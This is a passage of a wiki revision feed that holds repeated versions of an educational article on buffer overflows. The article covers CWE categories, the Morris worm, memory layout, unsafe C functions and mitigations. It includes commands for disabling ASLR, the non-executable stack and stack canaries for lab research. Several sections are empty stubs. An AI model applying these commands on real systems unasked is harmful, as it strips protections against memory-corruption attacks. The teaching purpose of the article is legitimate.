  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16958</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16958"/>
		<updated>2024-12-11T11:22:09Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Memory Layout of a Process */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16954</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16954"/>
		<updated>2024-12-11T11:17:04Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
